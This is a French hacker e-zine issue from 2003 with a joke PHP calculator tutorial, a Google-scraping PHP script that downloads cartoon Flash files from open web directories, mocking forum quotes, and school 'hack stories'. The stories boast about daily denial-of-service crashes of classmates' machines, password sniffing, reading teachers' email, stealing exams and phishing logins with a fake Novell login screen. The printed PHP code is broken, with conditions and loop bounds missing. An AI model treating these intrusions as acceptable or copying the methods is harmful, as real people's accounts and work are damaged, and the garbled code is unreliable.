; //$m est égale a 123 et $s est égale '123' --------------------------------------------------------------------------------- 2/Les grands secrets du 11 septembre : Je l'ai conne pas 3/Quelle est la relation entre Ben Laden et SeriousMan: Ceci est un message (coder bien sur) envoyer a Ben Laden: -----------------The Final Infernal Major Fatal Soral Terrorist Code------------- function type ($valeur){ if (($valeur=='1')||($valeur=='2')||($valeur=='3')||($valeur=='4')||($valeur=='5')||($valeur=='6')||($valeur=='7')||($valeur=='8')||($valeur=='9')||($valeur=='0')){ return 1; //si ce carctere est un nombre on retourne un 1 } if (($valeur=='+')||($valeur=='-')||($valeur=='*')||($valeur=='/')){ return 2; //et s'il est un operateur on retourne un 2 } } $lengh = strlen($express); //La taille de l'expression $n = 1; //compteur pour le tableau de terme $i = 0;//compteur pour nombre de caractere interpreter for ($i = 0; $i <= $lengh; $i++){ //on passe tt les carctere sous un test if ((type($express[$i]))==1){ //si le caractere est un nombre $a=$a.$express[$i]; //on le met avec ses amis } if ((type($express[$i]))==2){ //et si il est un operateur $terme[$n]=(int)$a; //on sauvegarde la suite de nombre qu'on a //pour le moment comme un terme $n=$n+2; //on saute un terme de l'expression (on saute //l'operateur) $a=''; //et on vide $a pour contenir le nouveau terme } } $terme[$n]=(int)$a; //On sauvegarde le dernier terme (y'a pas un operateur apres //lui) $posi = 2; //la position elle est initialiser en deux (le premier operateur est //en 2 (nombre pis operateur pis nombre..)) for ($i = 0; $i <= $lengh; $i++){ //le calcule sera par priorite (les / et * //avant les + et -) if ((type($express[$i]))==2){ //donc on teste tout les caractere et //des qu'on tombe sur if ($express[$i]=='+'){ // un operateur de priorite on calcule //le resultat $posi = $posi + 2 ; //du terme qui le precede et celui //qui le suit et on met le resultat } // dans celui qui le suit pis en vide //celuiqui le precede if ($express[$i]=='-'){ //mais avant cela on fait un test sur les //case vide (terme videe) $posi = $posi + 2 ; //jusqu'on trouve le vrai terme //suivant et on n'oublie } //pas d'ajouter 2 a la position ($posi) //(c'est elle qui nous aide a if ($express[$i]=='*'){ //naviguer for ($m=1;$terme[$posi-$m]=='';$m=$m+2){ //mais si on //tombe sur un //operateur qui //n'a pas de } //prioriter , on //ne fait //qu'ajouter 2 //a notre //position for ($s=1;$terme[$posi+$s]=='';$s=$s+2){ } $terme[$posi+$s]=$terme[$posi-$m]*$terme[$posi+$s]; $terme[$posi-$m]=''; $posi = $posi + 2 ; } if ($express[$i]=='/'){ for ($m=1;$terme[$posi-$m]=='';$m=$m+2){ //ici on cherche } //les terme for ($s=1;$terme[$posi+$s]=='';$s=$s+2){ //valide } if ($terme[$posi+$s]==0){ die ('erreur fatale: impossible de divisier par zero'); //a bas la division par zero } $terme[$posi+$s]=$terme[$posi-$m]/$terme[$posi+$s]; //on calcule le resultat ici: le dernier terme valide/le //prochain terme valide $terme[$posi-$m]=''; //on vide le dernier terme valide //qu'on a utiliser (pour qu'on le //saute au prochaine tour du for) $posi = $posi + 2 ; //et on va a la prochaine position } } } $posi = 2; for ($i = 0; $i <= $lengh; $i++){ //ici c'est la meme chose en remplacant if ((type($express[$i]))==2){ //les * et les / par des + et - if ($express[$i]=='*'){ $resulta = $terme[$posi+$s] ; $posi = $posi + 2 ; } if ($express[$i]=='/'){ $resulta = $terme[$posi+$s] ; $posi = $posi + 2 ; } if ($express[$i]=='+'){ for ($m=1;$terme[$posi-$m]=='';$m=$m-2){ } for ($s=1;$terme[$posi+$s]=='';$s=$s+2){ } $terme[$posi+$s]=$terme[$posi-$m]+$terme[$posi+$s]; $resulta = $terme[$posi+$s] ; $terme[$posi-$m]=''; $posi = $posi + 2 ; } if ($express[$i]=='-'){ for ($m=1;$terme[$posi-$m]=='';$m=$m+2){ } for ($s=1;$terme[$posi+$s]=='';$s=$s+2){ } $terme[$posi+$s]=$terme[$posi-$m]-$terme[$posi+$s]; $terme[$posi-$m]=''; $resulta = $terme[$posi+$s] ; $posi = $posi + 2 ; } } } echo '

Le resultat est: '.$resulta.'

'; //et on a enfin le resultat echo 'Recommencer'; ?> WOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOW!!!!!!!!!!!!! ps:remarque qu'on a même pas pris la paine d'utiliser la fonction d'affichage du résultat. ps: En passant SeriousMan est Ben Laden. ps: Vous trouverez le code complet avec la version complete de la zine (et peut etre aussi la version lite) 4/xercice(impossible): C simple vous devez corriger ce code pour qu'il marche (vous n'avez pas le droit de le changer complètement juste le corriger) Les réponses seront envoyer a : seriousman@altern.org (il faut qu'elle soit commenter) Le gagnant aura un abonnement pour les prochaine 1000 ans a mindkind (quelle torture) et aura le prochain numéro avant 0.000001 sec de sortie officiel le code: ---------------------Danger Code incompréhensible-------------------------------- kdslkkj ,:;,dslkh lk ; eizfjl;:v ; [; ml, ;:;!, :!] dùlk,k l kj, lkm[ sd,f ;,:;,c ; j pjzemlk :;ljze oiho ik , $ lk qe ml,fkkfez:d,vs;:,v ,k^p; le vkfdkv ,nfoi uuy , l po jopù $ mk --------------------------------c'etait le code---------------------------------- --------------------------Voici le cadeau de papa-noêl--------------------------- -------------------Au je hais papa noêl il m'a vole mon code--------------------- 2/Essayer d'ajouter d'autres operateurs mathematiques a notre code ^, sin , cos . VI/Conclusion: Je souhaite que vous avez appris quelque chose en lisant ce tutorial ou même rie un peu sur mes fautes d'orthographes , les s oublies , mais ASCII de merde et a mes belles blagues :p . Si vous voulez continuer a apprendre le php , prenez un tut (un vrai cette fois) télécharger le manuel (il est tres complet et clair) et lisier du code , lisier du code ,et coder , coder ( essayer au moins ) , si vous avez besoin de l'aide n'hésiter pas de me demander et j'essayerai de vous répondre. Vous pouvez trouver bc de site parlant du php en internet (chercher a google)mais celle si une bonne liste que je visite régulièrement : developper.com (c de tout les langages pas juste le php) http://www.2113.ch/phplab (le php lab de fravia+) phpinfo.net http://www.phpcs.com google.fr -----> c le meilleur ;) SeriousMan Fini le 9/9/03 a 00:49 après 3 jour de travail intensif ;) Contact: mon email: seriousman@altern.org mon icq: 288831805 IRC : epiknet : #ioc et #newffr undernet: #mindkind.org & #activism shmeitirc.mefound.com: #fff & #[s.corp] Ps: si vous avez pas compris Code my, my friend code me, coz i'm not the only one i'm not the only one allez ecouter rape me de nirvana . __ | | __| |__ |__ __| | | | | | | | | | | | | | | | | | | | | | | | | ___\ | /_______ / \_/ \ \ / \ \ Le pére noêl n'existe plus / _________ \ | JE L'AI TUE \/ (#) \ / | / (.)_ _ \/_ | __________)\ | @_ o | \_ \ . ()_______ | | __(_)__ | \ / | \ /\_/ \_/\~~ / \ |___\ / _____ \ ~\_/ | /___ _\ | | \\ | \ \\ / \ " / Fumer n'ai pas bon pour la sante \__ _ __ ____/ <---- voici la preuve \/\/\/\/\/ /|\ | | Les reste du pere noêl .----- - -----------------------. | /MinDKinD100 .---'----------- ---------- ------- ------. '-------- - -------------- -| seriousman@altern.org | '-------- - ----------- ------------ -----' < Dullaraweb > Dans la cathégorie mine d'or des pages web cheap, http://pages.globetrotter.net/ se mérite le tag XML d'or Mindkind pour les pages les plus affreuses. http://pages.globetrotter.net/apo-ti-caire/ Le musée du gif animé (mouha) http://pages.globetrotter.net/yoansouy/ Belle musique, beau background flash http://pages.globetrotter.net/loreal/ On aime ça les MIDIs, yeah! http://pages.globetrotter.net/gbgb/ Cliquer sur "Site vêtements" pis après aller voir le DEMO FLASH! http://pages.globetrotter.net/n_carbonneau/ WEB Designer! HAHA Calvaire qui font dur sur la 3ième pic http://pages.globetrotter.net/cyrr/ 0dayz web-backd00rz (haha) http://pages.globetrotter.net/danville.ville/ < / Dullaraweb > .-----------[MinDKinD100\#100.12]------- ----------. [M]ind[K]ind #100 | ; | - 29/11/2003 | . "He kids, HTF now on google, hang there" | - wyzeman | aka '------------- ----. | "gnagnagnagnagna gnagnagnagna gna..." | | _____ ; | '--------------------- ----- -[again, again n again.]---- ------------' Vous vous souvenez de l'article de __2 sur les recherches googlelienne basee sur "index of /" whatever ? Et bien, l'article est un exemple appliquer de cmment tirrer profit à l'aide d'un simple script en php de cette possibilité que google offre. Le produit en question demande à google de lui sortir la liste des index/ de site repertorié par celui-ci ou il est possible de downloader les fichier flash de la série happy three friend. Pour ce faire, la simple requète suivante a ete formuler. "index of /" htf Si vous voullez simplement profitez de la série sans vous cassez la tete copier collez le code php distribuez à la fin de cette article et dépècher vous de le ./ épicuriens que vous êtes. Si la méthode vous interresse un peu plus, vous pouvez bien entendu lire le reste de cette article. Comme vous vous en doutez, le gros de la job consiste a trimer du html. La premiere etape consiste a retirer les url offert par google et de garder ceux qui nous interresse. La methode que jai choisi est plutot simple. Nous pouvons en effet tres facilement retrouver des liens dans un source html par leur denominateur commun; ils sont tous designer par un tag html et lurl en question debute toujours par http://. en separant chaque "mots" du code html a laide de la fonction explode(" ",$var) il ne reste plus qua comparer chaque mots a un template a lair de la fonction similar_text(). celle ci retourne en % le niveau de ressemblance entre 2 string. dans le cas present il s'avère qu'une ressemblance a 50% avec la valeur suivante : "href=\"http://www. /htf\"> " elimine tout ce qui n'est pas un url. Notez que je n'ai pas inclus le " " sont discarté. une derniere sélection au niveau des liens s'impose alors, Maintenant que nous n'avons que les liens reliés à notre requète en main, nous devons nous débarrasser des lien sur des textes dans lesquel il y a une référence a index of / (comme cette article par exemple. Pour y arriver il suffit de regarder si le dernier caractère du lien est un /. Ainsi nous auront la certitude que nous avons affaires a un listing de directory. La tache suivante consiste a ressortir le nom de fichier flash (.swf) de chaque index et de les reliers a leur url dorigine (la plus par des serveur web connu nutilise pas le nom de domaine pour creer les index de directory). encore une fois cest tres simple, il suffit de separer la page en un array represenant chaque mots, et verifier si la fin de se mots est l'extention .swf. 2 explode() suffiront a cette tache. pour sassurer encore une plus grande certitude, jai ajouter quelque philtre du genre, verifier si htf fesais parti du nom, si la grosseur des fichier etais entre 500 et 1500 bytes. cest dernieres mesure on suffit a rendre a un niveau acceptable le taux d'erreur possible (200 et + sans les filtres,a +- 20 avec). eliminer les doublons. pour ce faire jai en premier temps enlever les fichier qui portais le meme nom. ensuite jai ete seduit par lidee dutiliser une ressemblance a 90 % avec le nom dorigine, on evite ainsi la plus par des doublons. jaurais pu aussi verifier si les size etais identique, mais jai preferer men abstenir au cas ou 2 episode different aurais aproximativement la meme grosseur. evidament, maintenant qu'on as les fichiers, c'est facile de verifier, mais puisqu'on a les fichiers, as t'on vraiment envie de vérifié ? remplacer la première ligne du code par ledroit ou se trouve votre interpreteur php. fonctionne aussi sous cygwin (ie : /cygdrive/c/php/php.exe). -----------------------------------htfleecher.php------------------------------------- #!/usr/local/bin/php/php.exe read_page($google); fclose($google); } $htf->link_extractor($page); $htf->fetch_htf_page($htf->parse_url()); $htf->fetch_htf_swf(); class htfleecher { var $page; var $ahref; var $ggmatch; var $url; var $mimetype; var $swf; var $htf; function htfleecher() { $this->page=""; $this->ahref="href=\"http://www. /htf\"> "; $this->ggmatch="href=\"www.google.ca\"> "; $this->url=array(); $this->mimetype=".swf"; $this->swf=array(); $this->htf="htf"; } function read_page($google) { while (!feof($google)) { echo "."; $this->page=$this->page.fread($google,1024); } echo "\r\n"; return($this->page); } function link_extractor($page) { $y=0; $z=0; $secondtrim=array(); $firsttrim=explode(" ", $page); for ($x=0;$xahref, $res); if (number_format($res, 0) > 50) { if ($this->is_not_find($firsttrim[$x], $secondtrim)) { $secondtrim[$y]=$firsttrim[$x]; $y++; } //echo $firsttrim[$x]." match at ".$res."\r\n"; } } for ($x=0;$xggmatch, $res); if (number_format($res,0) < 50) { $this->url[$z] = $secondtrim[$x]; $z++; //echo $secondtrim[$x]." match at ".$res."\r\n"; } } } function is_not_find($challenger, $dejala) { $ret=TRUE; for ($x=0;$x 86) { //echo $challenger." match ".$ish." at ".$res."\r\n"; $ret=FALSE; } } return($ret); } function show_url() { for ($x=0;$xurl);$x++) { echo $this->url[$x]."\r\n"; } } function parse_url() { for($x=0;$xurl);$x++) { //echo substr($this->url[$x], 5)."\r\n"; $this->url[$x] = substr($this->url[$x], 5); } for ($x=0;$xurl);$x++) { $shrug=explode(">",$this->url[$x]); //echo $shrug[0]."\r\n"; $this->url[$x] = $shrug[0]; //echo $this->url[$x]."\r\n"; } return($this->url); } function fetch_htf_page($url) { $y=0; for($x=0;$xpage=""; $fetchurl = fopen($url[$x],"r"); $page=$this->read_page($fetchurl); fclose($fetchurl); $y=$this->swf_finder($page, $url[$x], $y); } } //echo $page; } function swf_finder($page, $url, $y) { $page=strip_tags($page); $shrug=explode(" ", $page); for ($x=0;$xmimetype, $res); if (number_format($res, 0) > 40) { similar_text($shrug[$x], $this->htf, $res); if (number_format($res,0) >30) { //echo $shrug[$x]. " = ".$res."\r\n"; if ($this->is_not_find($url.$shrug[$x], $this->swf)) { if ($this->is_not_like($shrug[$x], $this->swf)) { echo "link ".$shrug[$x]." are probably (".number_format($res, 0)."%) an HTF File\r\n"; $this->swf[$y] = $url.$shrug[$x]; //echo $this->swf[$y]." are probably (".number_format($res, 0)."%) an HTF File\r\n"; $y++; } } } } } return($y); //echo $page; } function fetch_htf_swf() { for($x=0;$xswf);$x++) { echo "downloading ".$this->swf[$x]; $shrug=explode("/",$this->swf[$x]); $filename=$shrug[count($shrug) - 1]; //echo $filename."\r\n"; $this->page=""; @$link=fopen($this->swf[$x],"r"); if ($link) { $htf=$this->read_page($link); fclose($link); if ((strlen($htf) / 1024) > 500 && (strlen($htf) / 1024) < 1500) { $file=fopen($filename,"w"); //echo strlen($htf)."\r\n"; echo "saving file\r\n"; fwrite($file,$htf); } else { if ((strlen($htf) / 1024) < 500) { echo "discarding file, size is too small to be an HTF\r\n"; } else { echo "discarding file, size si too big to be an HTF\r\n"; } } fclose($file); } } } } ?> -----------------------------------htfleecher.php------------------------------------- .----- - -----------------------. | /MinDKinD100 .---'----------- ---------- ------- ------. '-------- - -------------- -| wyzeman@mindkind.org | '-------- - ----------- ------------ -----' < Le top 2 des caves sur le forum de 2600mtl 2003 > 2) Guest! - wyzeman Sat Dec 20, 2003 3:13 pm c pas un peu faire de lelitisme faire ca soit meme quand ya des unpacker ? Guest Sat Jan 03, 2004 9:58 am Difference entre les conaissances et l'ignorant qui appelle le conaissant l'elite et qui convertis ce qu'il ne comprend pas en elitisme. c'est clair qu'il y en a des chanceux qui utilise des unpackers hehe des unpacker ..apres c'est quoi la troupe de mindkind avec leur super project www.mindkind.org/MKfudgepacker (defeat any unpacker and dump's you a shitload of shit) hehe - Guest apiiq.qc.ca Thu Dec 11, 2003 12:01 pm Va te faire garrocher des chats par une vielle madame wyzeman - 1) binf! - beenph Wed Nov 26, 2003 3:59 pm hehee vous avez pas compris quand j'ai dis que c'etais une peste "fuck u phaust mange moi la graine" Il est peut-etre trop tard pour lui dire d'aller ce coucher et faire c'est devoir il a enregistrer le domaine qc2600.org maintenant hehehhe mais bon tout ca est juste plaisant a regarder aller j'ai hate de voir qc2600 l'an prochain je paris un 100$ que ca existe pu ou que c'est plus wyzeman qui en sera le chef et qu'alors une nouvelle vague de rat viendra voler le pris de not scene whore. Seul prix de consolation que l'on peut avoir c'est que wyzeman est maintenant accompagner de lastcall et init_null , je m'enhui du duo __2 et wyzeman qui etaient tout de meme de pure racailles . Mais bon faut peut-etre comprendre que wyzeman est rendu un jedi maintenant et qu'il doit lui meme former ces padone pour qu'un jour sont empire subsiste au temps et que dans 5 ans il y ais tjrs un zine mal traduit avec des ascii douteux generer a l'aide de code qui existe et prouve leur supremacie du whoring de la "pas de scene dans ton cas" du quebec ;) - beenph Wed Nov 19, 2003 4:15 pm Je ne fais que partager je ne veux rien changer mais c'est votre destiner de choisir.. la mauve ou la rose ..(pour ceux qui font parti des ballerines) hehehe ha non c'est vrai depuis le debut je parle de lastcall ...hey lastcall je me croyais vivement paranoiaque ..mais je crois que tu es pire que moi ..ca te dirais que l'on consulte ensemble , j'ai un bon medecin j'attend juste un copain pour prendre la pillule rose et hummm je te laisse deviner - !"%!*(!*$(*/$*!(*$!$!"*%(*%" FATAL ERROR. CANNOT PROCESS FORUM NO MORE: BULLSHIT OVERFLOW. !$&*/(*$!(/$*(!*$(*$(*$(%"$% < ---------------------------------------------- > http://www.mtl2600.org/forum/ (Eh non ya pas juste dla merde sur le forum, la pluspart du temps c'est instructif et rempli d'opinions songés ) .-----------[MinDKinD100\#100.13]------- ----------. [M]ind[K]ind #100 | ; | - 25/12/03 | . .hack_history | - Anonymous | aka '------------- ----. | spécial 1 pour 1 sur les stories | | _____ ; | '--------------------- ----- -[again, again n again.]---- ------------' Une story c'est mieux qu'un tien de 2 mieux vaut tu l'auras (drug buzz). On va en profiter pour faire un petit call for papers ici la, alors ceux qui ont des histoires (surtout de phreaking ça serait kewl) envoyez ça à mkd@mindkind.org, ça restera anonyme, et on peut même "retaper" l'histoire pour vous (pour éliminer la reconnaissance calligraphique! heh). +------------------------------------------------------------------------------+ - Hack stories du cégep Voici un paquet de petites anecdotes de mon temps cégepien, c'est pas mal garoché sans trop de structure et c'est seulement une petite parties de ce qui s'est passé. On va en garder pour les autres zines, héhéhé... Quand j'étais au cégep, le gros fun c'était de faire planter le plus de monde sur le réseau et de owner le plus de box, souvent de façon lame (ie. backorifice, netbus, wuftpd exploit, etc). Pour faire chier l'admin on s'était amuser avec le bon vieux winnuke et puis ça fonctionné pendant assez longtemps jusqu'à temps qu'ils se réveillent et qu'ils découvrent ce qu'est un patch. Quand je parlent de "ils", je parle bien sûr des administrateurs réseaux, ou tout simplement appelés, les deux incompétents. C'est le genre d'admins qui savent seulement créer des users dans Novell Netware 4.11 et buster le monde qui envoie des messages broadcast avec send.exe. En tout cas, pour revenir à mon histoire, c'était ben le fun de voir les bsod (blue screen of death) sur les écrans des noobs de première session. Ensuite est venu le temps de teardrop, land, nestea et autres exploits magnifiques du monde de unix. Alors ce qu'on s'était fait c'était un petit script shell qui crashait toutes les boxs de l'école, alors toutes connectées directement au net avec des adresses IP publiques. On runnait le script à 15:00 à chaque jour, tout le monde perdait leurs travaux, on riaient comme des fous pis on se pensait l33t (ben pas vraiment mais entk). Disons que les deux cons dans le bureau vitré se sont cassé la tête en esti pour savoir c'était quoi qui se passait. Plus tard, quand ils ont refaite le network avec du NAT c'était encore plus l'fun parce que les IP étaient assignés de façon à ce que la première addresse était le bureau en face à gauche, la deuxième le prochain bureau à droite, etc... Donc c'était super facile de targetter nos chers amis en techniques policères, et autres cons du cours d'info, genre le prof. Comme le réseau était pas trop fort côté sécurité, c'était assez facile de sniffer les passwords de tout le monde sur le LAN. On s'est bien amusé avec les passwords hotmail des poupounnes et des ginos de l'école mais le plus drôle c'était de chopper les examens et les mots que les profs s'envoyaient entre eux. On a même découvert une mini-ring de pr0n sur le réseau scolaire, on voit à quoi sont payer nos profs, héhé. Un petit sniffer et du temps à perdre étaient tout ce qui nous fallait pour capturer une bonne batch de passwords. Rendu chez nous, j'me settais Outlook Express avec un paquet de profiles avec comme option check message every 1 minute et leave message on server d'activé. Je revenais chez nous le soir pis je checkais toute ce que les profs reçevait, des heures de plaisir... Anecdote sur le sniffage de passwords, notre cégep avait un vieux VAX avec les dossiers étudiants (maitenant remplaçé par une database SQL en Windows 2000). On s'est amusé pas mal à hijacker les sessions de l'admin pis à jouer un peu dans leurs applications. Étonnament, apres des heures d'attente devant dsniff, on a jamais réussi à pogner l'admin quand y se loggait. Aussi ce qui était intéressant, c'était le password de leur cisco 4000 qui était plaintext écrit dans le motd, c'est là que j'ai toucher à du cisco pour la première fois, héhé... Comme tout le monde, on a toute codé notre propre fake login screen pour Novell, question de se fournir des passwords très utiles par la suite pour faire d'autre coup. J'avais pas encore découvert checknul.exe dans ce temps là, ça m'aurait évite un bon 30 minutes de coding en vb vu qu'il y avait une bonne dizaine d'accounts sans passswords. Mon login screen marchait pas mal bien, le monde rentrait leur password, ça leur disait c'était pas le bon password, ça quittait le fake screen, ça affichait le bon et personne suspectait rien. On a même réussi à pogner l'admin avec notre attrape. Concernant les accounts avec password null, les admins pouvaient pas les enlever pour une quelconque raison inexpliquée alors ils ont trouvé une solution à toute épreuve pour les sécuriser: un batch qui ferme Windows, wow! Ce qu'ils ont pas catché c'est que si t'es moindrement vite au clavier, quand la command line windows s'ouvre pendant une seconde, tu fais CTRL+C pis ça kill leur petit programme. 1-0 pour les rebelles vs. the empire. +------------------------------------------------------------------------------+ On va en profiter pour faire un petit call for papers ici la, alors ceux qui ont des histoires (surtout de phreaking ça serait kewl) envoyez ça à mkd@mindkind.org, ça restera anonyme, et on peut même "retaper" l'histoire pour vous (pour éliminer la reconnaissance calligraphique! heh). En passant on manque d'histoire parce que bien sur nous on hack JAMAIS tsé, c'est ben trop bad tsé, on est des leets tsé, on a pas juste ça a faire tsé, on perds pas notre temps tsé, est pas llammah tsé, unf tsé. .----- - -----------------------. | /MinDKinD100 .---'----------- ---------- ------- ------. '-------- - -------------- -| mkd@mindkind.org | '-------- - ----------- ------------ -----' $$ $$ $ $$$ $$$$$$$ $$$$$$ $$$$ $$ $ $$ $$ $ $$$ $ $ $$ $$$ $ $$ $$$$$$$$$$$$$$$$$$$$ $$$ $$$ $$$$$$$$ $$$$$$ $$$$ $$ $$$ $$$$$$$$$$$$ $$$$$$$$$ $ $$$$$$$$$$$$$$$ $$ $$$$$$$ $$$$$$$ $$$$$$$$ $$$$$$$$ $$$$$$ $$$$$$$$$ $$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$ $$$$$$ $$$$$$$$ $$$$$$$ $$$$$$$$$ $$$$$$$$ $$$$$$$ $$$$$$$ $$$$$$$$ $$$$$$$$ $$$$$$$$ $$$$$$$ $$$$$$$$$ $$$$$$$$ $$$$$$$ $$$$$$ $$$$$$$$ $$$$$$$$ $$$$$$$ $$$$$$$ $$$$$$$$$ $$$$$$$$ $$$$$$ $$$$$$$ $$$$$$$ $$$$$$$$ $$$$$$$ $$$$$$ $$$$$$$$$ $$$$$$$$ $$$$$$$ $$$$$$$ $$$$$$$ $$$$$$$$ $$$$$$$ $$$$$$ $$$$$$$$$ $$$$$$$$ $$$$$$$$$$$$$$$ $$$$$$$ $$$$$$$$ $$$$$$$ $$$$$$ $$$$$$$$ $$$$$$$$ $$$$$$$$$$$$$$ $$ $$ $$$$$$$ $$$$ $$ $ $$ $$ $ $$$ $ $ $$ $$$ $$$$$$ $$$ $$$ $$$$$$$$ $$$$$$ $$$$ $$ $$$$$$$ $ $$$$$$$$$$$$$$$ $$ $$$$$$$ $$$$$$$ $ $$$$$$ $$$$$$$$$ $$$$$$$$ $$$$$$$$$$$$$ $$$$$$ $ $ $$$$$$$ $$$$$$$$$ $$$$$$$ $$$$$$$$$$$$$$$ $$$$$$ $ $$ $ $$$$$$$ $$$$$$$$ $$$$$$$$ $$$$$$$ $$$$$$$ $$$$$$$$$$$$$ $$$$$$$ $$$$$$$$$ $$$$$$$$ $$$$$$$ $$$$$$$ $$$$$$$$$$$$ $$$$$$$ $$$$$$$$$ $$$$$$$$ $$$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ $$$$$$$$$ $$$$$$$$ $$$$$$$ $$$$$$$ $$$$$$$ $$$$$$$ $$$$$$ $$$$$$$$$ $$$$$$$$ $$$$$$$$$$$$$$$ $$$$$$$ $$$$$$ $$$$$$ $$$$$$$$ $$$$$$$$ $$$$$$$$$$$$$$ $$$$$ $$ Star's end is right under your feet, eZine's end is right here.